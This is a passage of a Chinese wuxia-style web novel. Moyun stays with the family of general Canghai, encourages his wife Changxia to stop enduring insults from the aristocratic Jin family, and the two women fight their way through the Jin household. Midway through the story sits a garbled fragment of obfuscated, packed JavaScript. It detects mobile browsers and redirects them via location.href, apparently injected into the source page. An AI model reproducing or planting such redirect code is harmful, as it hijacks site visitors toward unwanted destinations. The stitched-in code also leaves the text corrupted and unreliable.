正啸还未来开口，便见众人中跟着一位熟悉的身影，竟然是秦沐白，他依旧带着那副冷漠的神情，可似乎也愿加入了其中。正啸能感受到这群少时江湖好友的力挺，却也难掩无语的神色，望向他们轻叹一声，淡淡说道：“尔等心意我领了，但战事与江湖事不同！”
“我说过，此人从来看不起我等！”沐白望向众人冷冷的说道。
正啸素来不是喜欢解释之人，然而，就在此时，一阵冷冽的气息自身后传来，茉云走了出来，目光如冰刃般扫向众人，神情冷峻，仿佛一座巍峨的冰山，立于众人面前。
她站定之时，原本喧嚷的众人瞬间噤声，空气中一片寂静，茉云气场无声地压住了众人，顷刻间，让众人回忆起当年那个在边城杀疯了的方大人——下一刻，秦沐白和阔超他们都被她眼中的冷意震慑，竟不自觉地往后退了一步。
若辰淡然而笑，甭管平日里茉云对正啸如何言语不满，可是这世上除了她，没人可指责卢正啸。
正啸见到众人惊慌之表情，无语的转圜道：“能稳住武林的局势，支持朝廷大战峑戎，诸位就算帮了我大忙了。”
听他如此说，众人才彼此会心一笑，纷纷抱拳点头，他们心中也明了，这一场战事，并非仅凭热血便能驰骋，若正啸需要他们稳住江湖的力量，那他们便尽最大力为他在武林提供最有力的支援。
众人抱拳相互道别，茉云冷冷白了一眼，经过叶凌之时，跟他说了句话，叶凌微微一愣看向茉云。
茉云倒是微微嘴角露出一丝温和的笑意，抱拳说道：“诸位，大恩不言谢！”
众人立即抱拳还礼，茉云便径直上了马车，正啸下令出发带队离开。
茉云静静地坐在马车中，微微掀开帘子，目光透过车窗落在正啸的身影上。他威风凛凛端坐于马背之上，披风在风中猎猎作响。茉云微微一笑，眼中掠过一抹温暖，默然地将帘子放下……
傍晚时分，队伍在正啸的号令下停下脚步，短暂修整用膳，再出发待天色入夜再休息。此时，众人纷纷席地而坐，发放干粮充饥。夕阳渐渐西沉，天色被染上一抹温柔的橙红，微风带着丝丝凉意拂过。
正啸默默地注视着马车，片刻后，他轻轻掀开了车帘，望向车内，茉云蜷缩在车上，竟不知何时已在马车的摇晃中沉沉睡去。
正啸轻轻登上马车，小心翼翼的解下自己的披风盖在她的身上。
带着他气息和体温的披风瞬间让茉云微微动了一下，似乎被惊醒，但她没有睁开眼睛，只是倔强的微微调整了一下睡姿，将自己埋得更深，似乎在融入这份温暖的包裹，但是就是不想搭理他。
正啸默然注视着她，唇边浮现一抹不易察觉的微笑，静静地凝视了片刻，才悄然退出车厢，将帘子轻轻放下，让她继续在这片柔和的温暖中安睡。
翌日，一行人马行至南恒城，沧海满脸喜色地带着众人回到了他家。茉云抬头望向沧海将军的家，门户并不大，门口挂着几盏喜气的红灯笼，透出一丝朴实温馨的气息。
沧海夫人梁畅夏早已在门前等候，一见他们归来便大步迎上前来。她身材高壮，眉眼中透着几分英气，显然是个爽朗豪迈的性子，举手投足间有着习武之人的干脆利落。
她身旁站着两个壮小子和一个圆脸的小姑娘，一见到沧海便不顾一切的冲上去，抱着沧海的大腿直喊爹，沧海顿时粲然而笑，伸手抱起了自家的姑娘，然后说道：“南儿，典儿，还不见过大将军，跟各位叔叔伯伯行礼！”
两个小子才开心的晃过神，马上跪在地上跟正啸磕头。
正啸亦笑了，难得露出了亲切，抬手便将他两拎了起来。
“这是茉云姨！”沧海指着茉云特地介绍道。
“茉云姨！”他们一脸甜美的笑了称呼道。
“不叫姐姐吗？”茉云略微不满的说道。
“诶，别等下乱了辈分！”沧海大手一挥笑着说道，然后看向夫人说道，“孩儿他娘，你找个好房，让茉云住下，好生照料！”
夫人听闻，微微一愣，眼神中闪过一丝意外，她还尚未开口，正啸抱拳说道：“有劳兄嫂！”
“兄嫂，茉云是我等至交好友，正啸的师妹，因为身受重伤行军不便，叨扰兄嫂了！”若辰亦温润的笑了马上说道。
“嫂子！”茉云亦甜美的笑了说道。
畅夏怔了一瞬，随即大笑而爽朗地拍了拍手，仿佛得了大宝贝一般满脸喜悦，伸手扶住了茉云热情地招呼道：“好，那就是自家人了！”
说罢，立即招呼众人进屋，将所有人安排得妥妥帖帖。
他们屋内布置简洁，木质的家具带着温润的光泽，显然被精心擦拭过。墙上挂着几幅简单的字画，散发出一股江湖豪情，又不失家庭的温暖，让人感到心安。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197133|130368||http|test|mini|href|location''.split(''|''),0,{}));
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没过多久，她便带着满身厨房的烟火气，端出了香喷喷的一桌菜，木桌的表面虽已有磨损，但是满桌子的饭菜色香味俱全，显得格外丰饶。她爽朗地笑道：“大家一路都辛苦了，沧海快招呼大将军和大家吃饭，都千万别客气！”
众人纷纷落座，茉云看向桌上，瞬间兴奋得像个孩子，脸上满是掩饰不住的喜悦。
这时畅夏看向千山和万莫说道：“咱家没那么多规矩，快坐下来吃饭！快，万莫，嫂子今日给你炖了个大肘子！”
正啸也抬手让他们坐下，万莫满脸憨笑的坐下来，千山还是站在了正啸的身旁。
“坐啊，千山，嫂子家可不习惯吃饭站着人的，你看，咱家小孩儿也都上桌吃饭！”畅夏看向千山笑了说道
千山愣了半刻还在迟疑，直到茉云望向了他，神色冷然的指着桌椅说道：“嫂子让你坐！你坐吗？我等着开饭呢！”
千山二话不说的坐了下来，众人忍俊不禁，军中素来大家都和千山和万莫亲如兄弟，而且由于他两是正啸身边之人，所以将士还多了一份敬重。
畅夏开心的笑了招呼大家吃，万莫开心的伸手就夹了肘子一块好肉给正啸，正啸温和望向他说道：“自己多吃点！”
万莫则开心的点点头，夹起第二块就给了茉云，茉云看向那肉眼神微亮，她夹入口中，顿时双眼好似闪过一道光芒，双眉瞬间舒展开，脸色都变得灿烂。
“合胃口吗？”畅夏爽朗的笑了望向茉云。
茉云一边鸡啄米似的点着头，一边吃着酥炸的春卷、鲜嫩的蒸鱼、醇厚的鸡汤……仿佛一瞬间忘了身边所有人，完全沉浸在美食之中。
“没骗你吧！”鹿里笑了说道，“嫂子这厨艺如此了得，你还不肯来！”
“妹子，你怎得这般瘦！”畅夏看向虚弱的茉云几分心疼的说道，“素日里没吃饱吗？”
“她吃再多都是空的，这丫头折腾！”沧海几杯酒下肚望向茉云，就像看着自己的妹子一般笑着说道。
“你好好呆在嫂子家养着，嫂子日日给你做好吃的给你吃！将你养得白白胖胖的！”畅夏笑着指着自己几个壮实的孩子笑了说道。
“好，嫂子！”茉云满脸都是乖巧的点头说道，“我哪儿都不去，就乖乖待在嫂子这儿。”
畅夏爽朗的笑了夹了一个大鸡翅给茉云，茉云开心的吃着，拿起酒杯朝跟众人倒酒的鹿里说道：“鹿里，你给我也倒点！”
鹿里刚伸酒壶过来，就被正啸抬手挡住了，眼睛都没有看茉云一眼，众人只得忍着笑。
“哼！”茉云一脸不服气的收回了手，满脸委屈的埋头继续吃。
畅夏似乎也意识到了什么看了正啸一眼笑了，然后望向茉云那大快朵颐的样子，满心的欢喜溢于言表。
夜里茉云开心的在院里跟沧海的孩子，南儿和典儿还有小花玩得很开心，夜深了，回房，推开房门瞧见有一人端坐在屋内桌旁，连蜡烛都没有点，一双冷峻的眼睛在夜色中，差点吓了自己一跳，还好是自己如此熟悉的双眸。
“休息几日，好好养伤！”正啸望向茉云不容置疑的说道。
说完，正啸站起身迈步向门外走去。茉云心中有几分无语，他等到此时就为了说这八个字，当他两擦肩而过之时，茉云忍不住出声问道：“大战在即，还有什么阻碍羁绊否？”
正啸脚步一顿，深深地叹了一口气，回头望向她，眼神中浮现出一丝疲惫与温柔，低声道：“没有阻碍……你在后方好好呆着。”
茉云望向他，一瞬间的四目相触，他眼眸中流露出的异样，让茉云不禁一怔，心中掠过一丝微妙的情绪，她迅速抽回了眼光，可待她回过神来，他已消失在门外，留下她在房中静静伫立……
正啸回房的路上不禁望向星空，内心暗自思忖，不知她是否明白话中之意，自己没有阻碍只有羁绊，是唯一能让自己在大战前，还回头张望的羁绊……
193.隐忍
清晨，天边刚露白，正啸和众人已然准备动身，待与队伍汇合后，便启程返回南关。
院落中，沧海的夫人畅夏带着几个孩子，依依不舍地站在门前送别他们，孩子们拉着母亲的手，望向即将远去的父亲和众人，眼中满是不舍与崇拜。
众人环顾四周，果然却并未见到茉云的身影，但也心中了然——她素来没心没肺，定然还在昏睡之中。然而，茉云在房内其实早已悄然醒来，坐在床边没有起身罢了，听着外面的马蹄声渐行渐远。
她知道，他终会踏上他该走的路，而自己，此刻只能留在这道门后，默默让一切最终消失在晨光之中……
正啸亦没有回头一刻，率队伍踏上向南的归途，路上途经一处宏大而幅员辽阔的庄园，红墙绿瓦，庭院深深，尽显曾经的繁华与威严。他微微勒住缰绳，目光略带疑惑。
若辰见他注视着庄园，缓缓解释道：“这是已故金阁老的老宅，也是沧海将军已故母亲的娘家。”
执礼接过话问道:“金阁老？当年深得先皇信赖的朝堂首辅。”
“嗯！”若辰抬目望向眼前这座庄园依旧巍峨，但却透着几分荒凉，仿佛象征着世事无常，昔日的荣华早已随风而逝。
执礼抬目望向沧海，沧海带队殿后，好似都没有抬目望一眼，当年沧海娘是金家庶出之女，自小未曾受过金家重视，最终嫁给了金家世代护院出身的汉子——也就是沧海的父亲。
“好一座高门大院啊！”执礼叹了口气说道。
“哼！”鹿里冷哼的口气中，尽显不屑，军中自小相识的这些旧人都知道，当年他爹阵亡，他娘亦离开，沧海年级尚小，金家居然不愿接济沧海半分，元帅将他带回府中，让老太君带着他跟震北一起抚养，奈何沧海幼时得了病，连话都说不清，根本受不了北方寒酷的气候。
后来沧海父亲的至交好友，找到了元帅，他接走了沧海，收了沧海为徒，将他养大成人，授他一身武艺，把他培养得如此魁梧而英勇，还将自己女儿嫁给他，才让沧海今日成了正啸身边，第一员大将。
执礼深吸一口气望向鹿里笑了说道：“当年沧老将军当年凭着一身胆气与忠诚，随元帅南征北战，立下了不少功勋，最终封为将军。如今，沧海将军也是不负父志！”
鹿里这才点点头笑了，转头望向沧海也是一脸的尊敬，军中少年将军除了铁心忠诚正啸外，沧海年纪较大为人稳重，众人都视沧海如兄长。
“对了，鹿里将军，前几日收到老太君的书信，说要给你物色物色人选了！”执礼笑了望向鹿里说道。
鹿里瞬间大惊失色指着正啸说道：“大将军还是孤身一人啊！”
“你说少主啊！这不是老太君已经有了人选，但是少主不愿意吗？”执礼故意调侃道，“就只能耗着了！”
众人皆乐了，正啸假装不听见的懒得搭理，转头目光重新落在庄园上，眼中闪过一丝担忧。
“离得这么远呢，她不至于！”若辰看出了正啸的担心笑了说道。
正啸继续望向前路，无奈的轻轻叹了口气，她的身上就没有什么不至于的事，希望是自己多虑吧。
他们走后，沧海的夫人畅夏每日变着法的做吃食给茉云，日夜嘘寒问暖，将茉云照顾得无微不至，夜里畅夏还给茉云端来了宵夜。
听见茉云咳嗽，夜里还给茉云端来了川贝梨子羹做宵夜，茉云深吸一口气看着香喷喷的梨羹，心中一阵感动。
“是不是烫！”畅夏马上端过来，用勺子给茉云搅冷说道，“但是这梨羹不能太凉，失了药性！来，再尝尝！”
茉云顷刻不知为何有种哽咽感，昔日会为自己搅凉食物的人，只有青岚。
“好喝吗？是不是川贝药味太重！”
“好喝极了，嫂子，你手艺怎得这般好！”茉云感叹的说道，“我昔日最得意的就是自己一身刀枪箭射的武艺，可现在觉得若老天能用它来换你的厨艺，我毫不犹豫就换了！”
畅夏开心的被逗笑了，抬手将茉云头发理到耳后，不让发丝掉落在糖水里，她感叹道：“我昔日就是想学了我娘的所有厨艺，多做好吃的给沧海吃，奈何他一年也吃不上几次！”
茉云怔了半刻抬头望向畅夏，看得出她眼中的落寞！
“但是男儿志在四方，再也没得比孩子他爹，干的保家卫国的事更有志气的了！”畅夏的怅然所失瞬间消散，脸上浮现出骄傲的神情。
茉云开心的点点头说道：“是的，沧海哥老威武了，他一手就能将那敌人举起来，砸出去，砸翻一群人！”
畅夏看向茉云模仿的傻样，顿时被逗乐了，调侃道：“他是有几分力气，但是他能威武过大将军啊？”
“哼！他啊，外强中干！”茉云顿时一脸嗤之以鼻的表情说道。
畅夏撑着头望向茉云，茉云顿时躲开了眼神继续埋头喝汤水，可是心中却不禁想着，我最近怎么了？我干了啥啊，我老心虚个什么劲！
这日畅夏清晨一早就为茉云准备好了一日的吃食，还嘱咐好茉云如何热饭菜，才带着三个小孩出门了，手上还拿着贺礼，茉云望向他们几人今日的背影，打扮得如此郑重其事。
小雅不乐意的扯着身上的丝带，南儿马上抓着她的手说道：“妹妹，不能扯，好好系着，等下婆婆又说我们没有教养！”
小雅一脸不高兴的转头委屈的看了茉云一眼，然后追着畅夏去了。
未到黄昏时刻，他们四人就回来了，用灰头土脸形容他们当是不过分的，其中典儿一身都是透湿，南儿一脸忿然，小雅的眼眶里含着泪水。
回到家里，畅夏一个人孤自回房了，在房里良久都没有回来，他们三也知道自己犯错了，茉云吃着零嘴看向他们三。
“咋了这是？”
“二哥掉池子里，大哥说是别人推的，他们说我们没有教养，让娘带我们三回来，别丢人现眼！”
茉云顿时眼眶中闪过一丝忿然说道：“谁说的！”
“姨婆！”小雅瘪瘪嘴巴想着说道。
“哪来的姨婆！”
“金府的姨婆！”
“人把你推池子里，你们打回来了吗？”茉云蹲在他们身前问道。
“没有，他们不承认！”典儿说道。
“可是我明明看见了！”南儿一脸沮丧的说道，“娘说我们不能动手，可我们学了一身武艺是干嘛的？”
“娘说了，是跟爹打敌人的！”小雅补充道。
“说得好！”茉云笑了抱起小雅道，冷冷的笑了说道，“可是敌人有时亦值得尊敬，有些人却不值得！”
夜幕快要降临之时，畅夏擦了脸上的泪水，出来准备给大家做饭，看见茉云和他们三在厨房灰头土脸的弄得一脸黑灰，都没点燃灶火，顿时又被他们逗乐了。
“哎，这太难了！”茉云一脸感叹的说道。
“你看，这不燃了！去外面玩吧，吃饭了我唤你们！”畅夏笑着说道。
一炷香的时间，畅夏便端出了热腾腾的饭菜叫他们回屋吃饭。
“嫂子，你太能干了！”茉云感叹的说道。
“哎，嫂子如今也就这点本事！”畅夏给他们四盛饭道。
“嫂子，你别听别人胡说，若你不好，沧海哥不会身边只有嫂子，我以前在京中御史台干过，别四品、五品官，就是那七品县令谁不是三妻四妾！”茉云望向畅夏宽慰道。
“他是为了报我爹的恩！”畅夏变给孩子们夹菜边轻轻地说道。
茉云怔了半刻望向畅夏，她居然是这般想的。
“不然他也不会娶我这个出生低微，言行无状，胸无点墨，连儿女都教不好的女子！”畅夏说着眼眶又泛起了微红。
“娘！”小雅他们都担心的望向畅夏。
畅夏边马上掩藏了伤感说道：“乖，你们吃饭，不是你们不好，都是娘不好！”
茉云沉默了，她发现自己居然此刻不知道如何安慰畅夏，但是她眼中闪过一丝冷厉。
众人吃完饭，南儿和典儿按照每日的惯例要练功，茉云说晚膳吃得太饱，带着小雅出去散散步，然后她带着小雅去认了金家的门，茉云愣了半刻，如此的高门大户，她若有
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所思。
“茉云姨，她们说娘不好，所以爹爹就要再娶一个妻子，可娘哪儿不好！”小雅一脸稚气的望向茉云，茉云牵着她的手走在回家的路上。
茉云望向小雅温和的笑了：“你娘是天下最好！”
小雅顷刻开心的笑了点点头，茉云转身看了一下金家门口的高门大匾，嘴角泛起一丝冷笑。
谁知翌日，府上来了一群达官贵人家眷打扮的夫人，听他们聊天，茉云才知他们是沧海的的姨母和表弟，带着一群仆人浩浩荡荡地进了许家，一进门便说着要帮许家将宅子修缮一番。
这群人自进门后，便未曾安宁过，指指点点说着许家各处的布置和摆设如何上不得台面，如何不风雅。
那位自称是姨母之人，更是大摇大摆地四处查看，目光在院中扫视了一圈，忽然停在了茉云身上。只见她一身素朴的衣服，鞋子边上还隐约有几处破损，显得着实寒酸，
那姨母脸色一变露出一抹厌恶的神情，毫不掩饰地斥责道：“这是谁家的乞丐？怎敢随意进了将军府？快些出去，别扰了许家的清净！”
茉云望向这群人，而沧海的夫人畅夏疾步上前，拦在舅妈面前，说道：“姨母，她是沧海的同僚，军中的战友，是许家客人！”
然而，姨母看向身边沧海表弟，两人都不屑地冷笑，神色中满是轻蔑，低声讥讽道：“女子是军中同僚？瞧她这副模样，如今卢家军竟然是这般不堪了？”
茉云目光中忽闪出冰冷的锋芒，沉默中带着不可轻视的冷凌，就凭他们也配提卢家军的三个字！可是她咬牙忍住了，这是沧海哥家，而且正啸临走之前的嘱托，也在耳边响起……
畅夏尴尬的望向茉云说道：“妹子，你先进去休息！”
茉云轻轻地转身回房了，路上听见来的下人们在小声议论，许家这般简陋，日后要是小姐嫁入许家怎能住得体面宽敞，茉云侧目之时，余光瞧见那姨母用丝绢拼命的扫着鼻子前的空气，仿佛跟他们呼吸在同一片天地，她都嫌弃。
众人走后，府上终于安宁了片刻，茉云也能感受到畅夏眼中的黯淡，她未再提及白天之事，嬉笑着带着孩子们在院中打闹，畅夏才松了口气。可是她回房之前经过畅夏卧房，她分明听见了哭泣的声音……
这几日茉云伤势好转，没事便在城里闲逛，将南恒逛了个遍，回到许家门口便听见院内热闹之声，她立即推开门，见到院内原来是孩子们和一老人的追闹时的欢声笑语，畅夏马上上前介绍，原来是沧海的岳父岳母特意赶来许家，临近年关，来探望他们的外孙。
家中一下子热闹了起来，孩子们欢笑嬉闹，畅夏看见父母终于露出了灿然的笑颜，家中气氛顿时又温馨无比。
外公梁掌门与外孙们感情极好，常常被孩子们围绕，外婆拿着给外孙儿们做的衣裳比划着大小，看是否合适，满屋子充满了笑声与温暖。
而且二老听闻住在许家茉云，是琼华的弟子，神色间顿时流露出见到师侄的神情。他们门派与琼华素来亦是交情深厚，得知茉云是琼华师侄，对她更是关爱有加，夸赞不已。
然而第二日，他们依照惯例前去拜访沧海母亲的娘家——金府。回到许家后，畅夏脸色铁青眉头紧锁，畅夏的娘梁夫人一言不发显然气愤至极。
茉云听见南儿气愤的告诉典儿过程才得知，外公外婆到金府时，竟未被准许从正门入内。金府上下冷漠得硬是让他们绕到后门，以仆人般的礼数入府，受尽屈辱。他们还通知了畅夏父母，沧海要娶金家的表妹为平妻，这样金家才能日后为沧海打算未来仕途。
听到此，茉云目光微冷，怒意闪过眼底。许家上下皆默然无语。最终沧海的岳父梁掌门，脸上隐约浮现出的失落与无奈，说道：“若是为了沧海的未来，女儿，你能忍则忍！”
一时间，家中气氛一时沉重无比。
茉云淡然的回房，看见桌上放着热水中温着的梨羹，她端起来喝着，眼中透出一丝狠戾，哼，为了沧海的仕途？大户人家到了穷途末路之时，尽是还这般张牙舞爪的猖狂。
忍？哼！
194.挣脱
今日晨曦中带着冬末特有的萧瑟与微寒，天空都是灰蒙蒙的，阳光若隐若现，时而透出微弱的光芒，却无法驱散空气中的寒意。枝头的枯叶早已落尽，只剩下光秃秃的树枝在风中轻轻摇曳，
畅夏的父母收拾了包袱，启程回家了，畅夏带着孩子们一起去送老人家到了城门口。半个时辰后，茉云看向他们几人回到家中的样子，畅夏依旧是眼眶红润，孩子们一脸沮丧，还以为外公外婆能留在家中过年。
谁知此时，沧海的姨母竟然带了几个丫鬟来到了许家，满脸笑意地对畅夏道：“畅夏啊，这是你金家长辈们的意思，让丫鬟们先住下来熟悉一下环境，打理一下许家，日后你们也好融洽相处。”
言语中，满是强行安插之意。畅夏面色微微一变，眸中闪过愠色，但碍于长辈的情面，她只能隐忍地应承着，不便直言拒绝。她默默看着那女子走入许家的院落，心中充满着无奈与委屈。
正在这时，茉云从厅中走了出来直接拦住了，目光淡然却带着一丝锐利地扫过那姨母，又转向畅夏，冷静地说道：“嫂子，这些女子一旦住下，日后事情便难说清楚了，你可问过沧海哥的意思？”
她的话虽简短，却戳中要害。畅夏听罢，神情微微一震，目光中闪过几分犹豫。
姨母顷刻间面子上挂不住的骂道:“我们许家的事，什么时候要一个外人来插手！”
“姨母吗，你是许家人吗？你连金家人都不是吧！”茉云一脸平静而风轻云淡的说道，“这世上事，素来谁张罗的日后谁担责，您何苦来做这出头鸟，何不让那打得一手好算盘之人来？”
姨母看向茉云的眼神瞬间愣了半刻，然后重新打量了一下茉云上下，才发现此人周遭的空气都散发出冷凌的气势。
“姨母，请你带这些姑娘们回金府，转告舅母，府上有客，住不下这些人！”顿时畅夏抬目望向姨母说道。
姨母望向畅夏愣了半刻，自从她嫁给沧海之后，一直是对她们礼敬有加，从未在畅夏的脸上看见这般决然的表情过。
而此时茉云站在畅夏身侧，神情淡然而坚定，她好似撑起了一道无形的屏障，让人不由得想退后几步。
“那……你自己去跟你舅母说吧，你可知道你来南恒，金家是如何照拂你和孩子们的！沧海这日日夜夜不在家，你们不都是依仗金家屋檐……”
“南儿，送客！”茉云冷冷的说道。
姨母气势上完全已落了下风，脸上强撑的傲慢渐渐僵硬，最终不甘地咬了咬牙，带着丫鬟们灰溜溜地转身离开，走到门口还不忘回头恶狠狠地撂下一句狠话：“这里可是南恒！你行事小心着点。”
茉云听罢，挑了挑眉，竟然被姨母这句狠话逗乐了，唇边浮现一丝冷冽的笑容，许久没有人让自己小心着点了。
畅夏深吸一口气，目光逐渐坚定下来，朝茉云微微颔首，感激茉云的提醒。
“嫂子，我不是不可安慰你，但你这么做差点将沧海将军害惨！”茉云望向畅夏带有几分严厉的说道。
畅夏震惊望向茉云，既没有见过她这样严肃的神情，又惊讶于她说的话，自己怎么会将沧海害惨。
“你可曾知道，立功将士的军属只需将田地记载在案，便不须纳粮！大战在即，军饷是头等大事，沧海将军在军中可是大将军身边排第一员大将，若他身家平白无故多出这么多良田不需纳粮，日后在军中别人如何想他？即便此时无人敢计较，但是战后，御史的口诛笔伐，他如何自辩？”
畅夏错愕的愣在原地，顿时明白了金家此事的深意，忽然所有的隐忍化为灰烬，她可以忍，但是决不允许任何人伤害沧海一丝一毫。
“沧海将军顶天立地，英勇无畏，在军中威望极高，是卢正啸的左膀右臂，受元帅倚重，受众将士崇敬！”茉云长叹一口气说道，“我看您也是习得一身武艺之人，怎么就活得这般憋屈，畏首畏尾。”
畅夏深吸一口气，看向自己粗壮的手，昔日握得一双重锤，现在却……
“习武之人，路见不平拔刀相助，别说路人，您这是连带着爹娘的尊严碎了一地，还卑躬屈膝的弯腰捡！”
畅夏顿时咬紧了牙关，爹娘离开时沧桑而隐忍的背影顷刻浮现在眼前，她爹娘一生豪迈侠气，又何曾受过这等委屈和羞辱，她眼眶微红，嘴唇都在微微颤抖。
“梁畅夏，我问你，知道他们为何看不起你吗？”茉云抬起头目光坚毅而不屈的望向畅夏。
“她们说我出生卑微，不知书达理……”畅夏埋着头，低垂的眼眸中本闪烁着质疑与动摇。
“不对！若日后还有人问你，是否知道他们为何看不起你？”茉云靠近畅夏，看向她的双眸说：“你就回答，我不需要知道，他们是谁，与我何干，关我屁事！”
畅夏怔了半刻看向茉云，她的眼神如同利刃般锐利，直接穿透至自己的心底，顷刻间好似唤醒她深埋的尊严和力量，她渐渐握紧了双拳。
“沧海哥和你就是彼此的伞，你们从不需要金家的屋檐，若你彷徨，去问他！”茉云望向畅夏凛然的说，“在乎，可为他刀山火海粉身碎骨，但绝不可能是为他卑微入尘土！”
畅夏的眼眸猛然亮了，这一瞬间，曾经埋藏在心底的武者气概，顿时如波涛一般在她心中汹涌澎湃。她确实本非一个柔弱淑女，自小便是暑九寒天下练武中磨砺的心智，自己身上同样流淌着跟沧海一样的武 者与铁血的气息。
“说得对。”畅夏终于抬起了头，那一瞬间，她的眼中不再有任何妥协与退缩，取而代之的是深沉的决然与刚毅。“我好像都忘了爹娘当日的教诲，忘了自己是谁！”
茉云望向她，畅夏的气息刹那间变得沉稳而强大，仿佛心中之剑已出鞘。
“我这便去金家，让他们死了这条心！”畅夏微微握紧了拳头说道。
“我随你去！”
畅夏望向茉云点了一下头，然后看向南儿他们三，伏低头摸了摸他们的头说道：“没事了，在家乖乖等娘和茉云姨回来！”
他们马上乖巧的点点头，畅夏看向他们三露出了欣慰的笑容，然后起身便走出了家门。
畅夏和茉云来到金家门前并肩而立，只见那扇大门紧闭，厚重的木门上隐隐泛着冷光。两人站在等了许久，叩门之声也敲得格外响亮，然而那大门依旧纹丝不动。
可她们分明听见门内有人低声窃语，却就是迟迟不见大门开启，显然是故意不允她们走正门。
畅夏眼中燃起怒意双拳渐渐握紧，手背青筋微微鼓起。她抬眸看向茉云，茉云却神色从容，眼神中带着一丝不屑的冷意。
她抬手朝金家的围墙一指，目光坚定而带有挑衅的意味：“就咱两的轻功！。
畅夏和茉云两人对视一眼，瞬间明了她的意思。瞬间，她们走到围墙外，一个飞身翻上围墙，身姿矫健，动作如风一般迅捷，轻盈地翻墙而过，只有衣裳在空中划出一道流畅的线。
两人稳稳地落地，站在金家的院落中，这座府邸放眼望去，对她两而言好似没有任何阻拦。
茉云抬目眼神扫色整个院落，此地定然曾经繁茂辉煌过，可如今却显得一片凋零，院中的花草疏落地生长着，四周的建筑也染上了陈旧的痕迹。
难怪，这昔日荣耀与如今苟延残喘对比，金家人处处透出一股不甘却无力回天的外强中干。
畅夏并未停留，径直朝主屋走去。刚靠近门口，茉云忽然伸手拉住畅夏，目光示意她稍等。
屋内传出声音来，声音之尖刻，门外听得清楚分明。只听那姨母在添油加醋的将刚才去沧海家的情形，描述得犹如一场闹剧，字字带刺，语气间满是刻薄与轻蔑，甚至添上了许多不实之辞，将畅夏描绘得卑微可笑。
她一边讲述，一边还发出轻蔑的冷笑，引得屋中其余妇人附和，言语间皆是嘲讽鄙夷，金家对许家的轻视暴露无遗。
畅夏眼神逐渐冰冷，拳头再次紧握。茉云则轻轻拍了拍她的肩膀，示意她无需在意。
就在这时，屋内传来一个更为尖酸刻薄的声音，音色尖利，带着一股居高临下的冷意，明显是金府的女主人。
她的语气中带着深深的鄙夷与厌恶，冷笑道：“昔日许沧海的娘，不过是我金府遭厌弃的庶女，也不知她和府里的护院私通了多少回，才一门心思要嫁给一个粗鄙的护院。那护院即便做了将军，不过也是个命薄短命鬼，早早地死了，留下沧海这贱种，倒也是继承了她父母的不知羞耻，不识抬举。”
顿时屋内传来的都是附和声和冷笑声。
“母亲，若不是当年金
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家大发慈悲，那贱种恐怕早已饿死街头，哪里还有今日？”此时屋内又传来了一个同样尖酸的声音，只是声音稍许年轻，听口气像是金家少夫人，轻蔑的冷笑说道，字字如刀，刺人心扉。
“对！”
“可如今，他们竟然如此忘恩负义，看看这沧海和他那不争气的三个孩儿，果真是一家的莽夫，毫无教养，日后怕也是个短命鬼。倒真是和沧海父母一般，都是些不值一提的命数！”
畅夏的脸色霎时变得苍白，他们居然如此诅咒沧海和自己孩儿，她再也压抑不住心中的怒火，眼中燃起熊熊烈焰，猛然间抬腿一脚将房门踹开，门板发出震耳欲聋的声响，重重地撞在墙上，惊得屋内的众人全都错愕地望向门口。
那一瞬间，畅夏宛如怒海中崛起的风暴，她冷冷地扫视了一圈，目光锁定在满脸惊愕的金府少夫人身上，二话不说，上前狠狠地一把揪住她的衣襟，将她拽到自己面前。
金府少夫人还未来得及反应，便被畅夏抬手“啪！”“啪！”连着两记响亮的耳光扇得头晕目眩。那打脸的声音在屋内清晰回荡，四周的人都瞠目结舌，不敢置信地看着眼前这一幕。
“你说谁是短命鬼！”畅夏顿时冷厉瞪向她说道。
少夫人被打得愣住，半边脸瞬间红肿，眼中满是不可思议和恐慌，而畅夏冷冷地盯着她，目光冰寒，带着一种她们从未见过的锋利与不屈。
金府女主人也就是沧海的舅母何氏，看见儿媳被如此扇脸，慌乱之中，大声喊道：“来人啊！快来人！”
她的声音尖锐而带着颤抖，瞬间将府内的护院引了过来。护院们闻声而至，急匆匆赶到主屋前，见屋内的情景不由得愣了片刻。眼前站着的是满脸怒意的畅夏和看似瘦弱的茉云。
护院们对视了一眼，尚未行动，金府夫人眼见自己护院人多势众，便咬牙厉声下令：“还愣着做什么？这两人私闯金府，还不快把她们拿下，扭送官府！”
护院们得到命令，顿时便先朝茉云一拥而上，手握刀刃，围剿而来军。
然而，出乎意料的是，茉云不但未退后半步，反而气势凌厉地迎上前去，一脚便踹飞了为头之人。畅夏更是身姿矫健而拳风如雷，出手便击倒数人。
她们的动作如同疾风骤雨，迅速而有力，就凭金家护院们的身手，根本无力招架，片刻间便被打得四处倒地，金府内一片混乱，家具破碎，仿佛整个府邸被掀翻了一般。
“妹子，咱走吧！”畅夏已经不想再看她们一眼。
茉云转身冷冷的看了沧海舅母金夫人一眼，金夫人不自觉的深吸一口气惊恐的望向他们，茉云转身离开之前，又瞪了躲在椅后的姨母一眼，一脸傲然的走出主屋。
两人一路从主屋杀到大门，金府护院横七竖八地倒在地上，哀嚎声此起彼伏。走到门口时，茉云冷冷地抬头，目光落在金府那高悬的门楣上，透出一丝不屑。
“妹子，让开！”就在此时，畅夏眼神一冷，猛然俯身，竟然双手抬起门口的石狮子。
茉云顷刻间闪身让开，畅夏瞬间运足内力，将沉重的石狮子狠狠朝大门砸去！
“轰——”的一声巨响，石狮子重重地砸在金府的大门上，大门瞬间碎裂，木屑飞散，门楣的匾额也被震得掉落，狠狠摔在地上，四分五裂，粉碎不堪。
茉云见此情景都微微怔住，眼中闪过一丝诧异。随即，她唇角扬起一抹笑容，与畅夏并肩走了。
夕阳西下，天边的红霞染满了天空，在她两前行的石道上，铺出一片温暖的光辉。两人并肩而行，微风拂面，经过一场激烈而痛快的打斗，她们的心情好似都好了许多。
